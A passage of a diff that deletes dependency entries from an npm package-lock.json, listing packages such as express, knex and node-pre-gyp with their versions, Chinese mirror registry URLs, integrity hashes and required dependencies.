-      "resolved": "https://registry.npm.taobao.org/etag/download/etag-1.8.1.tgz",
-      "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc="
-    },
-    "express": {
-      "version": "4.17.1",
-      "resolved": "https://registry.npm.taobao.org/express/download/express-4.17.1.tgz?cache=0&sync_timestamp=1617800788152&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexpress%2Fdownload%2Fexpress-4.17.1.tgz",
-      "integrity": "sha1-RJH8OGBc9R+GKdOcK10Cb5ikwTQ=",
-      "requires": {
-        "accepts": "~1.3.7",
-        "array-flatten": "1.1.1",
-        "body-parser": "1.19.0",
-        "content-disposition": "0.5.3",
-        "content-type": "~1.0.4",
-        "cookie": "0.4.0",
-        "cookie-signature": "1.0.6",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "finalhandler": "~1.1.2",
-        "fresh": "0.5.2",
-        "merge-descriptors": "1.0.1",
-        "methods": "~1.1.2",
-        "on-finished": "~2.3.0",
-        "parseurl": "~1.3.3",
-        "path-to-regexp": "0.1.7",
-        "proxy-addr": "~2.0.5",
-        "qs": "6.7.0",
-        "range-parser": "~1.2.1",
-        "safe-buffer": "5.1.2",
-        "send": "0.17.1",
-        "serve-static": "1.14.1",
-        "setprototypeof": "1.1.1",
-        "statuses": "~1.5.0",
-        "type-is": "~1.6.18",
-        "utils-merge": "1.0.1",
-        "vary": "~1.1.2"
-      }
-    },
-    "extend": {
-      "version": "3.0.2",
-      "resolved": "https://registry.nlark.com/extend/download/extend-3.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fextend%2Fdownload%2Fextend-3.0.2.tgz",
-      "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=",
-      "optional": true
-    },
-    "extsprintf": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npm.taobao.org/extsprintf/download/extsprintf-1.3.0.tgz",
-      "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=",
-      "optional": true
-    },
-    "fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha1-On1WtVnWy8PrUSMlJE5hmmXGxSU=",
-      "optional": true
-    },
-    "fast-json-stable-stringify": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/fast-json-stable-stringify/download/fast-json-stable-stringify-2.1.0.tgz",
-      "integrity": "sha1-h0v2nG9ATCtdmcSBNBOZ/VWJJjM=",
-      "optional": true
-    },
-    "finalhandler": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/finalhandler/download/finalhandler-1.1.2.tgz",
-      "integrity": "sha1-t+fQAP/RGTjQ/bBTUG9uur6fWH0=",
-      "requires": {
-        "debug": "2.6.9",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "on-finished": "~2.3.0",
-        "parseurl": "~1.3.3",
-        "statuses": "~1.5.0",
-        "unpipe": "~1.0.0"
-      }
-    },
-    "forever-agent": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npm.taobao.org/forever-agent/download/forever-agent-0.6.1.tgz",
-      "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=",
-      "optional": true
-    },
-    "form-data": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npm.taobao.org/form-data/download/form-data-2.3.3.tgz",
-      "integrity": "sha1-3M5SwF9kTymManq5Nr1yTO/786Y=",
-      "optional": true,
-      "requires": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.6",
-        "mime-types": "^2.1.12"
-      }
-    },
-    "forwarded": {
-      "version": "0.2.0",
-      "resolved": "https://registry.nlark.com/forwarded/download/forwarded-0.2.0.tgz?cache=0&sync_timestamp=1622503499867&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fforwarded%2Fdownload%2Fforwarded-0.2.0.tgz",
-      "integrity": "sha1-ImmTZCiq1MFcfr6XeahL8LKoGBE="
-    },
-    "fresh": {
-      "version": "0.5.2",
-      "resolved": "https://registry.nlark.com/fresh/download/fresh-0.5.2.tgz?cache=0&sync_timestamp=1618846949012&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffresh%2Fdownload%2Ffresh-0.5.2.tgz",
-      "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac="
-    },
-    "fs-minipass": {
-      "version": "1.2.7",
-      "resolved": "https://registry.npm.taobao.org/fs-minipass/download/fs-minipass-1.2.7.tgz",
-      "integrity": "sha1-zP+FcIQef+QmVpPaiJNsVa7X98c=",
-      "requires": {
-        "minipass": "^2.6.0"
-      }
-    },
-    "fs.realpath": {
-      "version": "1.0.0",
-      "resolved": "https://registry.nlark.com/fs.realpath/download/fs.realpath-1.0.0.tgz",
-      "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
-    },
-    "fstream": {
-      "version": "1.0.12",
-      "resolved": "https://registry.npm.taobao.org/fstream/download/fstream-1.0.12.tgz",
-      "integrity": "sha1-Touo7i1Ivk99DeUFRVVI6uWTIEU=",
-      "optional": true,
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "inherits": "~2.0.0",
-        "mkdirp": ">=0.5 0",
-        "rimraf": "2"
-      }
-    },
-    "function-bind": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz",
-      "integrity": "sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0="
-    },
-    "gauge": {
-      "version": "2.7.4",
-      "resolved": "https://registry.npm.taobao.org/gauge/download/gauge-2.7.4.tgz",
-      "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=",
-      "requires": {
-        "aproba": "^1.0.3",
-        "console-control-strings": "^1.0.0",
-        "has-unicode": "^2.0.0",
-        "object-assign": "^4.1.0",
-        "signal-exit": "^3.0.0",
-        "string-width": "^1.0.1",
-        "strip-ansi": "^3.0.1",
-        "wide-align": "^1.1.0"
-      }
-    },
-    "getopts": {
-      "version": "2.2.5",
-      "resolved": "https://registry.npm.taobao.org/getopts/download/getopts-2.2.5.tgz",
-      "integrity": "sha1-Z6D+RxysucaH2BfKtkULlt3oMTs="
-    },
-    "getpass": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npm.taobao.org/getpass/download/getpass-0.1.7.tgz",
-      "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
-      "optional": true,
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "glob": {
-      "version": "7.1.7",
-      "resolved": "https://registry.nlark.com/glob/download/glob-7.1.7.tgz?cache=0&sync_timestamp=1620337382269&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob%2Fdownload%2Fglob-7.1.7.tgz",
-      "integrity": "sha1-Oxk+kjPwHULQs/eClLvutBj5SpA=",
-      "requires": {
-        "fs.realpath": "^1.0.0",
-        "inflight": "^1.0.4",
-        "inherits": "2",
-        "minimatch": "^3.0.4",
-        "once": "^1.3.0",
-        "path-is-absolute": "^1.0.0"
-      }
-    },
-    "graceful-fs": {
-      "version": "4.2.6",
-      "resolved": "https://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.2.6.tgz",
-      "integrity": "sha1-/wQLKwhTsjw9MQJ1I3BvGIXXa+4=",
-      "optional": true
-    },
-    "har-schema": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/har-schema/download/har-schema-2.0.0.tgz",
-      "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=",
-      "optional": true
-    },
-    "har-validator": {
-      "version": "5.1.5",
-      "resolved": "https://registry.npm.taobao.org/har-validator/download/har-validator-5.1.5.tgz",
-      "integrity": "sha1-HwgDufjLIMD6E4It8ezds2veHv0=",
-      "optional": true,
-      "requires": {
-        "ajv": "^6.12.3",
-        "har-schema": "^2.0.0"
-      }
-    },
-    "has": {
-      "version": "1.0.3",
-      "resolved": "https://registry.nlark.com/has/download/has-1.0.3.tgz",
-      "integrity": "sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=",
-      "requires": {
-        "function-bind": "^1.1.1"
-      }
-    },
-    "has-unicode": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/has-unicode/download/has-unicode-2.0.1.tgz",
-      "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
-    },
-    "helmet": {
-      "version": "4.6.0",
-      "resolved": "https://registry.nlark.com/helmet/download/helmet-4.6.0.tgz",
-      "integrity": "sha1-V5lxGWupPFl46wGeTo7A5QB2tN8="
-    },
-    "http-errors": {
-      "version": "1.7.2",
-      "resolved": "https://registry.nlark.com/http-errors/download/http-errors-1.7.2.tgz",
-      "integrity": "sha1-T1ApzxMjnzEDblsuVSkrz7zIXI8=",
-      "requires": {
-        "depd": "~1.1.2",
-        "inherits": "2.0.3",
-        "setprototypeof": "1.1.1",
-        "statuses": ">= 1.5.0 < 2",
-        "toidentifier": "1.0.0"
-      }
-    },
-    "http-signature": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/http-signature/download/http-signature-1.2.0.tgz",
-      "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
-      "optional": true,
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "jsprim": "^1.2.2",
-        "sshpk": "^1.7.0"
-      }
-    },
-    "iconv-lite": {
-      "version": "0.4.24",
-      "resolved": "https://registry.nlark.com/iconv-lite/download/iconv-lite-0.4.24.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ficonv-lite%2Fdownload%2Ficonv-lite-0.4.24.tgz",
-      "integrity": "sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=",
-      "requires": {
-        "safer-buffer": ">= 2.1.2 < 3"
-      }
-    },
-    "ignore-walk": {
-      "version": "3.0.4",
-      "resolved": "https://registry.nlark.com/ignore-walk/download/ignore-walk-3.0.4.tgz?cache=0&sync_timestamp=1620340466361&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fignore-walk%2Fdownload%2Fignore-walk-3.0.4.tgz",
-      "integrity": "sha1-yaCfabfHtHml10rBo8DUI20qYzU=",
-      "requires": {
-        "minimatch": "^3.0.4"
-      }
-    },
-    "inflight": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npm.taobao.org/inflight/download/inflight-1.0.6.tgz",
-      "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
-      "requires": {
-        "once": "^1.3.0",
-        "wrappy": "1"
-      }
-    },
-    "inherits": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz",
-      "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-    },
-    "ini": {
-      "version": "1.3.8",
-      "resolved": "https://registry.npm.taobao.org/ini/download/ini-1.3.8.tgz?cache=0&sync_timestamp=1607907788001&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fini%2Fdownload%2Fini-1.3.8.tgz",
-      "integrity": "sha1-op2kJbSIBvNHZ6Tvzjlyaa8oQyw="
-    },
-    "interpret": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/interpret/download/interpret-2.2.0.tgz",
-      "integrity": "sha1-GnigtZZcQKVBbQB61vUK0nxBffk="
-    },
-    "ipaddr.js": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npm.taobao.org/ipaddr.js/download/ipaddr.js-1.9.1.tgz",
-      "integrity": "sha1-v/OFQ+64mEglB5/zoqjmy9RngbM="
-    },
-    "is-core-module": {
-      "version": "2.4.0",
-      "resolved": "https://registry.nlark.com/is-core-module/download/is-core-module-2.4.0.tgz",
-      "integrity": "sha1-jp/I4VAnsBFBgCbpjw5vTYYwXME=",
-      "requires": {
-        "has": "^1.0.3"
-      }
-    },
-    "is-fullwidth-code-point": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-1.0.0.tgz",
-      "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
-      "requires": {
-        "number-is-nan": "^1.0.0"
-      }
-    },
-    "is-typedarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/is-typedarray/download/is-typedarray-1.0.0.tgz",
-      "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=",
-      "optional": true
-    },
-    "isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/isarray/download/isarray-1.0.0.tgz?cache=0&sync_timestamp=1562592096220&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fisarray%2Fdownload%2Fisarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
-    },
-    "isexe": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/isexe/download/isexe-2.0.0.tgz",
-      "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=",
-      "optional": true
-    },
-    "isstream": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npm.taobao.org/isstream/download/isstream-0.1.2.tgz",
-      "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=",
-      "optional": true
-    },
-    "jsbn": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/jsbn/download/jsbn-0.1.1.tgz",
-      "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=",
-      "optional": true
-    },
-    "json-schema": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npm.taobao.org/json-schema/download/json-schema-0.2.3.tgz?cache=0&sync_timestamp=1609553741994&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson-schema%2Fdownload%2Fjson-schema-0.2.3.tgz",
-      "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=",
-      "optional": true
-    },
-    "json-schema-traverse": {
-      "version": "0.4.1",
-      "resolved": "https://registry.nlark.com/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=",
-      "optional": true
-    },
-    "json-stringify-safe": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/json-stringify-safe/download/json-stringify-safe-5.0.1.tgz",
-      "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=",
-      "optional": true
-    },
-    "jsprim": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npm.taobao.org/jsprim/download/jsprim-1.4.1.tgz",
-      "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
-      "optional": true,
-      "requires": {
-        "assert-plus": "1.0.0",
-        "extsprintf": "1.3.0",
-        "json-schema": "0.2.3",
-        "verror": "1.10.0"
-      }
-    },
-    "knex": {
-      "version": "0.95.6",
-      "resolved": "https://registry.nlark.com/knex/download/knex-0.95.6.tgz",
-      "integrity": "sha1-X8YP/Ck1VnvxIpJVJrGwa428p4U=",
-      "requires": {
-        "colorette": "1.2.1",
-        "commander": "^7.1.0",
-        "debug": "4.3.1",
-        "escalade": "^3.1.1",
-        "esm": "^3.2.25",
-        "getopts": "2.2.5",
-        "interpret": "^2.2.0",
-        "lodash": "^4.17.21",
-        "pg-connection-string": "2.4.0",
-        "rechoir": "^0.7.0",
-        "resolve-from": "^5.0.0",
-        "tarn": "^3.0.1",
-        "tildify": "2.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "4.3.1",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-4.3.1.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-4.3.1.tgz",
-          "integrity": "sha1-8NIpxQXgxtjEmsVT0bE9wYP2su4=",
-          "requires": {
-            "ms": "2.1.2"
-          }
-        },
-        "ms": {
-          "version": "2.1.2",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.2.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.2.tgz",
-          "integrity": "sha1-0J0fNXtEP0kzgqjrPM0YOHKuYAk="
-        }
-      }
-    },
-    "lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npm.taobao.org/lodash/download/lodash-4.17.21.tgz",
-      "integrity": "sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw="
-    },
-    "media-typer": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npm.taobao.org/media-typer/download/media-typer-0.3.0.tgz",
-      "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
-    },
-    "merge-descriptors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/merge-descriptors/download/merge-descriptors-1.0.1.tgz",
-      "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
-    },
-    "methods": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/methods/download/methods-1.1.2.tgz",
-      "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
-    },
-    "mime": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npm.taobao.org/mime/download/mime-1.6.0.tgz",
-      "integrity": "sha1-Ms2eXGRVO9WNGaVor0Uqz/BJgbE="
-    },
-    "mime-db": {
-      "version": "1.48.0",
-      "resolved": "https://registry.nlark.com/mime-db/download/mime-db-1.48.0.tgz",
-      "integrity": "sha1-41sxBF3X6to6qtU37YijOvvvLR0="
-    },
-    "mime-types": {
-      "version": "2.1.31",
-      "resolved": "https://registry.nlark.com/mime-types/download/mime-types-2.1.31.tgz",
-      "integrity": "sha1-oA12t0MXxh+cLbIhi46fjpxcnms=",
-      "requires": {
-        "mime-db": "1.48.0"
-      }
-    },
-    "minimatch": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz",
-      "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
-      "requires": {
-        "brace-expansion": "^1.1.7"
-      }
-    },
-    "minimist": {
-      "version": "1.2.5",
-      "resolved": "https://registry.npm.taobao.org/minimist/download/minimist-1.2.5.tgz",
-      "integrity": "sha1-Z9ZgFLZqaoqqDAg8X9WN9OTpdgI="
-    },
-    "minipass": {
-      "version": "2.9.0",
-      "resolved": "https://registry.npm.taobao.org/minipass/download/minipass-2.9.0.tgz",
-      "integrity": "sha1-5xN2Ln0+Mv7YAxFc+T4EvKn8yaY=",
-      "requires": {
-        "safe-buffer": "^5.1.2",
-        "yallist": "^3.0.0"
-      }
-    },
-    "minizlib": {
-      "version": "1.3.3",
-      "resolved": "https://registry.nlark.com/minizlib/download/minizlib-1.3.3.tgz",
-      "integrity": "sha1-IpDeloGKNMKVUcio0wEha9Zahh0=",
-      "requires": {
-        "minipass": "^2.9.0"
-      }
-    },
-    "mkdirp": {
-      "version": "0.5.5",
-      "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-0.5.5.tgz",
-      "integrity": "sha1-2Rzv1i0UNsoPQWIOJRKI1CAJne8=",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "ms": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-      "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-    },
-    "needle": {
-      "version": "2.6.0",
-      "resolved": "https://registry.nlark.com/needle/download/needle-2.6.0.tgz",
-      "integrity": "sha1-JNu1XyUJ4jJLSpnWH0E5ggE8zb4=",
-      "requires": {
-        "debug": "^3.2.6",
-        "iconv-lite": "^0.4.4",
-        "sax": "^1.2.4"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.7",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-3.2.7.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-3.2.7.tgz",
-          "integrity": "sha1-clgLfpFF+zm2Z2+cXl+xALk0F5o=",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        },
-        "ms": {
-          "version": "2.1.3",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.3.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.3.tgz",
-          "integrity": "sha1-V0yBOM4dK1hh8LRFedut1gxmFbI="
-        }
-      }
-    },
-    "negotiator": {
-      "version": "0.6.2",
-      "resolved": "https://registry.npm.taobao.org/negotiator/download/negotiator-0.6.2.tgz",
-      "integrity": "sha1-/qz3zPUlp3rpY0Q2pkiD/+yjRvs="
-    },
-    "node-addon-api": {
-      "version": "3.2.1",
-      "resolved": "https://registry.nlark.com/node-addon-api/download/node-addon-api-3.2.1.tgz",
-      "integrity": "sha1-gTJeCiEXeJwBKNq2Xn448HzroWE="
-    },
-    "node-gyp": {
-      "version": "3.8.0",
-      "resolved": "https://registry.nlark.com/node-gyp/download/node-gyp-3.8.0.tgz?cache=0&sync_timestamp=1622168102506&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnode-gyp%2Fdownload%2Fnode-gyp-3.8.0.tgz",
-      "integrity": "sha1-VAMEJhwzDoDQ1e3OJTpoyzlkIYw=",
-      "optional": true,
-      "requires": {
-        "fstream": "^1.0.0",
-        "glob": "^7.0.3",
-        "graceful-fs": "^4.1.2",
-        "mkdirp": "^0.5.0",
-        "nopt": "2 || 3",
-        "npmlog": "0 || 1 || 2 || 3 || 4",
-        "osenv": "0",
-        "request": "^2.87.0",
-        "rimraf": "2",
-        "semver": "~5.3.0",
-        "tar": "^2.0.0",
-        "which": "1"
-      }
-    },
-    "node-pre-gyp": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npm.taobao.org/node-pre-gyp/download/node-pre-gyp-0.11.0.tgz?cache=0&sync_timestamp=1612890864161&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnode-pre-gyp%2Fdownload%2Fnode-pre-gyp-0.11.0.tgz",
-      "integrity": "sha1-2x8zIVJy9pLNOPAyOOPptHxd0FQ=",
-      "requires": {
-        "detect-libc": "^1.0.2",
-        "mkdirp": "^0.5.1",
-        "needle": "^2.2.1",
-        "nopt": "^4.0.1",
-        "npm-packlist": "^1.1.6",
-        "npmlog": "^4.0.2",
-        "rc": "^1.2.7",
-        "rimraf": "^2.6.1",
-        "semver": "^5.3.0",
-        "tar": "^4"
-      },
-      "dependencies": {
-        "nopt": {
-          "version": "4.0.3",
-          "resolved": "https://registry.nlark.com/nopt/download/nopt-4.0.3.tgz",
-          "integrity": "sha1-o3XK2dAv2SEnjZVMIlTVqlfhXkg=",
-          "requires": {
-            "abbrev": "1",
-            "osenv": "^0.1.4"
-          }
-        },
-        "tar": {
-          "version": "4.4.13",
-          "resolved": "https://registry.npm.taobao.org/tar/download/tar-4.4.13.tgz?cache=0&sync_timestamp=1610045517836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftar%2Fdownload%2Ftar-4.4.13.tgz",
-          "integrity": "sha1-Q7NkvFKIjVVSmGN7ENYHkCVKtSU=",
-          "requires": {
-            "chownr": "^1.1.1",
-            "fs-minipass": "^1.2.5",
-            "minipass": "^2.8.6",
-            "minizlib": "^1.2.1",
-            "mkdirp": "^0.5.0",
-            "safe-buffer": "^5.1.2",
-            "yallist": "^3.0.3"
-          }
-        }
-      }
-    },
-    "nopt": {
-      "version": "3.0.6",
-      "resolved": "https://registry.nlark.com/nopt/download/nopt-3.0.6.tgz",
-      "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=",
-      "optional": true,
-      "requires": {
-        "abbrev": "1"
-      }
-    },
-    "npm-bundled": {
-      "version": "1.1.2",
-      "resolved": "https://registry.nlark.com/npm-bundled/download/npm-bundled-1.1.2.tgz?cache=0&sync_timestamp=1619044650809&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnpm-bundled%2Fdownload%2Fnpm-bundled-1.1.2.tgz",
-      "integrity": "sha1-lEx4eJvXOQNbcLqiylzDK42GC8E=",
-      "requires": {
-        "npm-normalize-package-bin": "^1.0.1"
-      }
-    },
-    "npm-normalize-package-bin": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/npm-normalize-package-bin/download/npm-normalize-package-bin-1.0.1.tgz",
-      "integrity": "sha1-bnmkHyP9I1wGIyGCKNp9nCO49uI="
-    },
-    "npm-packlist": {
-      "version": "1.4.8",
-      "resolved": "https://registry.nlark.com/npm-packlist/download/npm-packlist-1.4.8.tgz?cache=0&sync_timestamp=1620345779424&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnpm-packlist%2Fdownload%2Fnpm-packlist-1.4.8.tgz",
-      "integrity": "sha1-Vu5swTW5+YrT1Rwcldoiu7my7z4=",
-      "requires": {
-        "ignore-walk": "^3.0.1",
-        "npm-bundled": "^1.0.1",
-        "npm-normalize-package-bin": "^1.0.1"
-      }
-    },
-    "npmlog": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npm.taobao.org/npmlog/download/npmlog-4.1.2.tgz",
-      "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=",
-      "requires": {
-        "are-we-there-yet": "~1.1.2",
-        "console-control-strings": "~1.1.0",
-        "gauge": "~2.7.3",
-        "set-blocking": "~2.0.0"
-      }
-    },
-    "number-is-nan": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/number-is-nan/download/number-is-nan-1.0.1.tgz",
-      "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0="
-    },
-    "oauth-sign": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npm.taobao.org/oauth-sign/download/oauth-sign-0.9.0.tgz",
-      "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=",
-      "optional": true
-    },
-    "object-assign": {
-      "version": "4.1.1",
-      "resolved": "https://registry.nlark.com/object-assign/download/object-assign-4.1.1.tgz?cache=0&sync_timestamp=1618846992533&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject-assign%2Fdownload%2Fobject-assign-4.1.1.tgz",
-      "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
-    },
-    "on-finished": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/on-finished/download/on-finished-2.3.0.tgz",
-      "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=",
-      "requires": {
-        "ee-first": "1.1.1"
-      }
-    },
-    "on-headers": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/on-headers/download/on-headers-1.0.2.tgz",
-      "integrity": "sha1-dysK5qqlJcOZ5Imt+tkMQD6zwo8="
-    },
-    "once": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/once/download/once-1.4.0.tgz",
-      "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
-      "requires": {
-        "wrappy": "1"
-      }
-    },
-    "os-homedir": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/os-homedir/download/os-homedir-1.0.2.tgz",
-      "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M="
-    },
-    "os-tmpdir": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/os-tmpdir/download/os-tmpdir-1.0.2.tgz",
-      "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
-    },
-    "osenv": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npm.taobao.org/osenv/download/osenv-0.1.5.tgz",
-      "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=",
-      "requires": {
-        "os-homedir": "^1.0.0",
-        "os-tmpdir": "^1.0.0"
-      }
-    },
-    "parseurl": {
-      "version": "1.3.3",
-      "resolved": "https://registry.npm.taobao.org/parseurl/download/parseurl-1.3.3.tgz",
-      "integrity": "sha1-naGee+6NEt/wUT7Vt2lXeTvC6NQ="
-    },
-    "path-is-absolute": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz",
-      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
-    },
-    "path-parse": {
-      "version": "1.0.7",
-      "resolved": "https://registry.nlark.com/path-parse/download/path-parse-1.0.7.tgz",
-      "integrity": "sha1-+8EUtgykKzDZ2vWFjkvWi77bZzU="
-    },
-    "path-to-regexp": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npm.taobao.org/path-to-regexp/download/path-to-regexp-0.1.7.tgz",
-      "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w="
-    },
-    "performance-now": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/performance-now/download/performance-now-2.1.0.tgz",
-      "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=",
-      "optional": true
-    },
-    "pg-connection-string": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npm.taobao.org/pg-connection-string/download/pg-connection-string-2.4.0.tgz",
-      "integrity": "sha1-yXmSLrR4MpmaIE2l2+Hr8jQbahA="
-    },
-    "process-nextick-args": {
-      "version": "2.0.1",
